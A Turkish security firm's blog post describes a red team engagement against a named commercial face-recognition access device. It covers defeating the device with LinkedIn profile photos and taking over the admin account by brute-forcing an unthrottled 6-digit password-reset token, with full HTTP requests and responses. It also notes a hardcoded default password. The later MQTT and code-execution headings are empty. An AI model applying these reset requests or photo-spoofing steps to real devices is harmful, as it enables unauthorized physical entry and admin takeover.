loading...

Haziran 16, 2020

Pandemi Sürecinde Red Team Senaryosu #1

Pandemi sürecinde gerek evden çalışmanın getirdiği çeşitli riskler gerekse de saldırıların artmasına olanak sağlayan ortamlardan dolayı sızma testleri ve Red Team aktivitelerinde yoğun bir dönem yaşamaktayız.

Yeni normalde çeşitli altyapı ve donanımların değişime uğraması ile birlikte bu sürecin daha efektif ve güvenli geçmesi adına çeşitli konferanslar yaptık ve bildiriler yayınladık. Bu sürecin bir parçası olarak da müşterilerimizden “Yeni Normalde Red Team” çalışmaları için çeşitli istekler oluştu. Ekibimiz bu çalışmaları titizlikle yaparak fiziksel erişimi atlattı ve kurum ağına dahil olarak en yetkili kullanıcı seviyesine ulaştı. Bu yazımızda ilgili senaryodan bahsediyor olacağız.

Senaryo bir kuruma yapılan red team çalışmasının parçasıdır. Yeni normale geçiş sürecinin güvenli olması hedeflenerek yazılmıştır.

#1 Metodoloji & Bilgi Toplama

Öncelikle kurumun ağına erişebilmemiz adına önümüzde bu senaryo için 2 seçenek mevcut idi. Birincisi kablosuz ağa erişerek hak yükseltme ya da pivoting gibi teknikler ile ağda mümkün olduğunca yayılmak ikincisi ise kurumun fiziksel güvenliğini atlatarak çeşitli donanım ve yazılımlarımız ile ağa dahil olmak.

Bu çerçevede yapılması gereken ilk eylemlerden birisi kuruma ait gizli ya da açık SSID’lerin tespit edilmesidir. Bunun için 802.11ac/a/b/g/n desteği olan, nistepen daha performanslı, RTL8814AU chipset’e sahip Alfa AC1900 marka ve modeldeki WiFi adaptörünü tercih ettik. Bu tür kurum dışından yapılan kablosuz ağ testlerindeki en büyük engellerden biri, cihazların üzerinde gelen 5dbi gücündeki antenlerin testlerimiz için yetersiz kalmasıdır. Testler gerçekleştirilirken gerçek saldırganı simüle ettiğimizden dolayı gizliliğe de önem vermekteyiz. Örneğin web uygulamalarına ya da kurum ağına yapılan saldırılarda isteğe göre offshore sunucular kullanılarak triple VPN ile haberleşmeyi sağlamaktayız. Böylelikle kurum gerçek bir saldırıda blue team tepkilerini de analiz etmiş olmaktadır. Aynı mantıkla kablosuz ağlara test yaparken personelin şüphe uyandırmaması adına coğrafi şartlara göre 18 dbi panel anten ya da 14 dbi dış mekan omni anten kullanmakta ve böylelikle uzak bir mesafeden testleri gerçekleştirmekteyiz.

Everest marka FK02GYW model akıllı yüz tanıma cihazı kullanıldığını tespit ettik. Ürünü incelediğimizde personelin maske taktığını kontrol ettiğini, ateş ölçtüğünü ve personelin veritabanı ile eşleşmesi durumunda izin verdiğini tespit ettik. Ürünün yazılımında da çeşitli zafiyetleri tespit ettik. Ancak henüz ağa erişimimiz olmamasından dolayı bu bilgileri kullanamadık. Bu aşamada cihazın nasıl çalıştığını anlayabilmek adına sipariş ettik ve incelemeye başladık.

#2 Zafiyet Araştırması

Tespitlerimiz sonucunda sisteme personelin fotoğrafının yüklendiği, doğrulama kısmında bu fotoğrafla karşılaştırdığını gördük. Ancak personel maske takmadığında bu eşleşme geçersiz sayıldı. Dolayısıyla kendimizi personel olarak tanıtacak isek doğrulamayı atlatmanın ancak maske ile mümkün olduğunu gördük.

Akıllı yüz tanıma sistemlerini detaylı araştırınca aslında daha güvenli diyebilmek için retina taramalı sistemlerin kullanılması gerektiğini öğrenmiş olduk. Bu sistemleri atlatabilmek için suni ya da sahte yapıda iris kullanılamadığını birçok kaynaktan doğruladık. Bizim sistemimizde bu güvenlik önlemi olmadığından sahte bir fotoğraf ile doğrulamayı da atlatabileceğimizin ışığını da böylelikle almış olduk. Oluşturduğumuz profilleri kendi sistemimizde atlatmak için, ekibimizin sosyal medyada herkesin ulaşabileceği fotoğrafları denedik.

Bu senaryomuz için satış ekibimizden Ata İğdebeli gönüllü oldu <3 Hakkında detaylı araştırmalara başladık. Senaryomuza en uygun fotoğrafın Linkedin’de olacağını düşünerek profil fotoğrafını kullandık ve testimizi gerçekleştirdik.

2.1)Fiziksel Bypass

Linkedin üzerinden çalışanların listesini çıkartarak profil fotoğraflarını kaydettik.

Orjinal Fotoğraf ile deneme;

Düzenlenmiş fotoğraf ile deneme;

2.2)Account Takeover

Arayüze girdiğimde parolayı sıfırlamak için 2 seçenek bulunduğunu gördüm. Birincisi private key, ikincisi ise güvenlik soruları idi. Private key tespiti şu aşamada daha zor olacağı için güvenlik sorusu ile ilerledim.

Yapılan istekte cevaplar GET ile checkanswertype[] ile gönderildi.

Request:

GET /forgetpwd.htm?checkanswertype1=1&checkanswer1=cevap1&checkanswertype2=1&checkanswer2=cevap2&checkanswertype3=1&checkanswer3=cevap3&getresult= HTTP/1.1
Host: [Gizli]:7080
User-Agent: [Gizli]
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
cache-control: no-cache
context-type: text/xml;charset=utf-8
Content-Type: application/x-www-form-encodeURIComponent
If-Modified-Since: 0
Authorization: Basic none
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Referer: http://[Gizli]:7080/views/config/pwdreset.html
Cookie: lang=tr; updateTips=true; netmask=255.255.255.0; gateway=[Gizli]

Başarısız response;

HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store

OK checkanswertype1
OK checkanswer1
OK checkanswertype2
OK checkanswer2
OK checkanswertype3
OK checkanswer3
UW getresult

Başarılı response;

OK checkanswertype1
OK checkanswer1
OK checkanswertype2
OK checkanswer2
OK checkanswertype3
OK checkanswer3
OK getresult=101825

Burada görülen, güvenlik sorusu doğru girildiğinde “getresult” değerine 6 haneli rastgele bir değer ataması ve buradan parola sıfırlama işlemini gerçekleştirmesi.

callXVRApi("/forgetpwd.htm?" + $.param(prm), "none", function (code, str) {
        if (code != 200 || !chkValOk(str, ["setadminpwd", "setpassed"])) {
            rbTip(lang["setFaile"]);
            return;
        }
        goNext();

Parola sıfırlama aşamasından sonra rastgele atadığı 6 haneli değeri şu aşamada bilemeyeceğimiz için brute force ile tespit etmek en mantıklısı. Dolayısıyla parola sıfırlama isteğini yaptıktan sonra oluşan setpassed değerini bulmak için brute force uyguluyorum.

Burada rate limit bulunmadığından gerçekleştirebildiğimiz brute force ile setpassed değeri tespit edildiğinde response’un OK olarak dönmesini umuyorum.

GET /forgetpwd.htm?setpassed=649141&setadminpwdstrength=2&setadminpwd=U2VDcmV0UGFzIQ%3D%3D HTTP/1.1
Host: [Gizli]:7080
User-Agent: [Gizli]
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
cache-control: no-cache
context-type: text/xml;charset=utf-8
Content-Type: application/x-www-form-encodeURIComponent
If-Modified-Since: 0
Authorization: Basic none
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Referer: http://[Gizli]:7080/views/config/pwdreset.html
Cookie: lang=tr; updateTips=true; netmask=255.255.255.0; gateway=[Gizli]

HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store

OK setpassed
OK setadminpwdstrength
OK setadminpwd

Doğru değer bulunduğunda base64 ile encode edilen parolamız geçerli oldu. Kontrol ettiğimde de başarılı ile giriş sağladım.

Panele girdiğimde parolanın JavaScript kodları içerisinde gömülü olduğunu da tespit etmiş oldum.

// 默认第一次进入页面(用户密码为12345时)强制用户重置安全问题和导出秘钥
function loadSetting() {
    if (decodePwd($.cookies.get("pwd")) == "12345") {
        $("#chkResetIssue").prop("checked", true);
        $("#chkResetIssue").prop("disabled", true);
        return true;
    } else {
        return false
    }

2.4)MQTT Paketleri

 

 

2.4)Remote Code Execution

 

 

Posted in Red TeamTaggs:
Write a comment